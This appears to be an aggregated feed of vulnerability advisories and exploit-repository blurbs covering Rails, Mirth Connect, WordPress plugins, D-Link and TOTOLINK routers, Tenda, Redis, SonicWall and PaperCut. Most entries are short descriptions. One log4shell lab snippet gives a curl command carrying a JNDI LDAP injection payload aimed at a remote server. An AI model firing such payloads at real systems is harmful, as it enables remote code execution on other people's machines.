CVE-2026-66066

🚨 CVE-2026-66066 — KindaRails2Shell Ejecución remota de código RCE sin autenticación previa en Ruby on Rails Active Storage Repositorio educativo de investigación de seguridad para CVE-2026-66066 "KindaRails2Shell". Este repositorio está destinado únicamente a investigación de seguridad, análisis...

CVE-2023-43208-EXPLOIT

CVE-2023-43208 - Exploit de ejecución remota de código RCE en Mirth Connect 🚨 Introducción 📖 Este repositorio contiene un exploit de Prueba de Concepto PoC para una vulnerabilidad crítica en NextGen Healthcare Mirth Connect versiones anteriores a 4.4.1. La vulnerabilidad, registrada como...

log4shell_lab

log4shell exploit lab This repository is a single-line setup for log4shell exploit lab. Setup the lab: docker-compose up -d Run exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Then go to vul container and see that indeed we pwned the machine: Video...

CVE-2026-1405

CVE-2026-1405 Slider Future = 1.0.5 - Subida Arbitraria de Archivos sin Autenticación 🚀 CVE-2026-1405.py — Herramienta de Explotación Masiva de Slider Future 🩸 Resumen de la Vulnerabilidad Componente: Slider Future plugin de WordPress Versiones Afectadas: ≤ 1.0.5 Vulnerabilidad: Subida Arbitraria...

CVE-2026-82595

A vulnerability was found in D-Link DIR-825M 1.1.8. Affected by this vulnerability is the function sub456CF4 of the file /boafrm/formSysCmd of the component System Command Execution. Performing a manipulation of the argument sysCmd results in command injection. It is possible to initiate the atta...

CVE-2026-82593

A flaw has been found in D-Link DIR-825M 1.1.8. This impacts the function sub41802C of the file /boafrm/formLtefotaUpgradeFibocom of the component LTE Module Firmware Upgrade. This manipulation of the argument fotaurl causes stack-based buffer overflow. The attack is possible to be carried out...

CVE-2026-82594

A vulnerability has been found in LogNet grpc-spring-boot-starter up to 5.2.0. Affected is an unknown function of the component Annotation Processing. Such manipulation leads to improper authorization. The attack may be performed from remote. A high complexity level is associated with this attack...

EUVD-2026-68300

A vulnerability was identified in TOTOLINK NR1800X 9.1.0u.6681B20230703. This affects the function setUssd of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument ussd leads to command injection. The attack can be initiated remotely. The exploit is publicly available and might be used...

CVE-2026-82597 TOTOLINK NR1800X cstecgi.cgi setUssd command injection

A vulnerability was identified in TOTOLINK NR1800X 9.1.0u.6681B20230703. This affects the function setUssd of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument ussd leads to command injection. The attack can be initiated remotely. The exploit is publicly available and might be used...

CVE-2026-82597

A command injection vulnerability exists in TOTOLINK NR1800X (version 9.1.0u.6681_B20230703), specifically in the setUssd function of /cgi-bin/cstecgi.cgi . Manipulating the ussd argument allows a remote attacker with low privileges to inject arbitrary commands. The attack requires no user intera...

CVE-2026-0740

CVE-2026-0740 🧩 Descripción general CVE-2026-0740 es una vulnerabilidad de subida arbitraria de archivos sin autenticación que afecta a: Ninja Forms File Uploads ≤ 3.3.26 plugin de WordPress Esta falla permite a los atacantes subir archivos arbitrarios al servidor sin autenticación, lo que...

DarkReplica

DarkReplica CVE-2026-23631 Redis Post-Auth RCE Exploit The full technical writeup can be found here: https://www.zeroday.cloud/blog/redis-cve-2026-23631-dark-replica...

rapid7-CVE-2026-15409

CVE-2026-15409 This repo contains a proof-of-concept exploit for CVE-2026-15409. It establishes non-root remote code execution on SonicWall SMA 1000 by implementing the Erlang protocol expected by localhost:1050 and tunneling it through the websocket for file r/w and arbitrary code execution via...

CVE-2026-27641-Flask-Reuploaded

CVE-2026-27641 es una vulnerabilidad de seguridad crítica que afecta a las versiones de la biblioteca Flask-Reuploaded. Permite a atacantes remotos lograr escrituras arbitrarias de archivos Versiones afectadas: 1.5.0 Para probar la vulnerabilidad: python3 -m venv flaskreuploadedvenv En...

CVE-2020-10567

POC-CVE-2020-10567 RCE poc - RESPONSIVE filemanager v.9.14.0. not Main branche ⚠️ Github project : https://github.com/trippo/ResponsiveFilemanager Requirements: Nothing is required, this exploit is unauthenticated. The Responsive Filemanager application is a web-based file management tool used to...

PaperCut NG/MF Missing Authentication for Critical Function Vulnerability

PaperCut NG/MF contains a missing authentication for critical function vulnerability which allows an unauthenticated remote attacker to modify certain system configurations. This vulnerability can be chained with CVE-2026-82078...

PT-2026-83801

Name of the Vulnerable Software and Affected Versions Tenda AC1206 version 15.03.06.23 Description A flaw in the Web UI component allows remote attackers to bypass authentication. This occurs within the TendaTelnet function located in the /goform/telnet endpoint. Recommendations At the moment,...

CVE-2026-81934

Redis contains a use-after-free vulnerability in the 'tlsProcessPendingData' function, which handles the TLS pending-data list if Redis is configured with TLS support. A remote, unauthenticated attacker may be able to execute arbitrary commands with the privileges of the Redis server. Fixed in...

PT-2026-83803

A security flaw has been discovered in Tenda AC18 15.03.05.19. Impacted is an unknown function of the file /goform/telnet of the component Telnet Handler. The manipulation results in missing authentication. The attack can be launched remotely. The exploit has been released to the public and may b...

PT-2026-83802

Name of the Vulnerable Software and Affected Versions Tenda AC1206 version 15.03.06.23 Description A flaw in the Web UI component allows remote attackers to bypass authentication. This occurs within the R7WebsSecurityHandler function located in the /goform/ate file. Recommendations At the moment,...